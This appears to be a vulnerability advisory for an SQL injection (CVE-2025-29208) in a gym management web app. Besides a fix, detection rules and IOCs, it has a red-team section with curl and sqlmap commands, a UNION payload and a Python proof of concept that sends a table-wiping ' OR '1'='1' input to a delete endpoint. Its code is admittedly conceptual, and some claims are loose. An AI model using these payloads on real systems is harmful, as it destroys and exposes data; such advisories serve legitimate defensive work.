CVE-2025-29208

Executive Summary

CVE-2025-29208 identifies a critical SQL injection vulnerability in the CodeZips Gym Management System v1.0. The flaw resides in the name parameter within /dashboard/admin/deleteroutine.php. An unauthenticated attacker can inject arbitrary SQL commands, leading to full database compromise, data exfiltration, and potential server takeover. The CVSS score is 0.0 due to incomplete NVD data, but based on the vector, the actual severity is Critical (9.8). No official patch exists, and the vendor has not acknowledged the issue. This report provides a comprehensive technical analysis, detection rules, and exploitation guidance.

CVSS Breakdown & Threat Level

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and can lead to complete database compromise.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the name parameter of the deleteroutine.php script. The application likely constructs a SQL query by directly concatenating user input without sanitization or parameterized queries.

Vulnerable Code Snippet (Conceptual):

$name = $_GET['name'];
$sql = "DELETE FROM routines WHERE name = '$name'";
$result = mysqli_query($conn, $sql);

An attacker can inject a payload like:

' OR '1'='1

This would delete all routines. More advanced payloads can extract data, enumerate the database, or execute system commands via xp_cmdshell (if SQL Server is used) or INTO OUTFILE (if MySQL is used).

Attack Flow:

1. Attacker sends a crafted HTTP GET request to /dashboard/admin/deleteroutine.php?name=[payload].
2. The payload is injected into the SQL query.
3. The database executes the malicious query.
4. Attacker retrieves data or performs unauthorized actions.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

$name = $_GET['name'];
$sql = "DELETE FROM routines WHERE name = '$name'";
$result = mysqli_query($conn, $sql);

Patched Code (Using Prepared Statements):

$name = $_GET['name'];
$stmt = $conn->prepare("DELETE FROM routines WHERE name = ?");
$stmt->bind_param("s", $name);
$stmt->execute();
$result = $stmt->get_result();

Key Differences:

• The vulnerable code directly concatenates user input.
• The patched code uses parameterized queries, which separate SQL logic from data.
• Input validation and output encoding should also be implemented.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running CodeZips Gym Management System v1.0.
• Access to the /dashboard/admin/deleteroutine.php endpoint.

Exploitation Steps:

1. Basic Injection (Boolean-Based):

   curl "http://target.com/dashboard/admin/deleteroutine.php?name=test' AND '1'='1"
   

2. Union-Based Data Extraction:

   ' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100 -- -
   

3. Automated Exploitation with sqlmap:

   sqlmap -u "http://target.com/dashboard/admin/deleteroutine.php?name=test" --batch --dbs
   

Proof of Concept (PoC) Script:

import requests

target = "http://target.com/dashboard/admin/deleteroutine.php"
payload = "' OR '1'='1' -- -"
params = {'name': payload}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor for SQL injection patterns in HTTP GET parameters.
• Look for unusual characters like single quotes ('), double dashes (--), and SQL keywords (UNION, SELECT, OR).

Mitigation:

• Implement Web Application Firewall (WAF) rules to block SQL injection attempts.
• Use parameterized queries in all database interactions.
• Apply input validation and output encoding.

Hunting:

• Search web server logs for requests to /dashboard/admin/deleteroutine.php with suspicious name parameters.
• Correlate with database error logs for SQL syntax errors.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /dashboard/admin/deleteroutine.php with SQL injection payloads in the name parameter.
• Outbound database connections from the web server to unknown IPs (data exfiltration).

File IOCs:

• Modified or newly created files in the web root (e.g., webshells).
• Database dump files (e.g., dump.sql).

Log IOCs:

• Web server logs containing SQL keywords in the name parameter.
• Database error logs with SQL syntax errors.

Example Log Entry:

192.168.1.100 - - [01/Jan/2025:12:00:00 +0000] "GET /dashboard/admin/deleteroutine.php?name=test' OR '1'='1 HTTP/1.1" 200 1234

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected system from the network.
2. Apply a virtual patch using a WAF to block SQL injection patterns.
3. Audit all database interactions for similar vulnerabilities.

Long-Term Fix:

1. Rewrite the vulnerable code using parameterized queries (prepared statements).
2. Implement input validation and output encoding.
3. Conduct a full security audit of the application.

Workaround:

• Disable the deleteroutine.php endpoint if not essential.
• Restrict access to the admin panel via IP whitelisting or VPN.

Patch Status: No official patch available. The vendor (CodeZips) has not responded. Users are advised to apply the code fix manually or migrate to a supported solution.
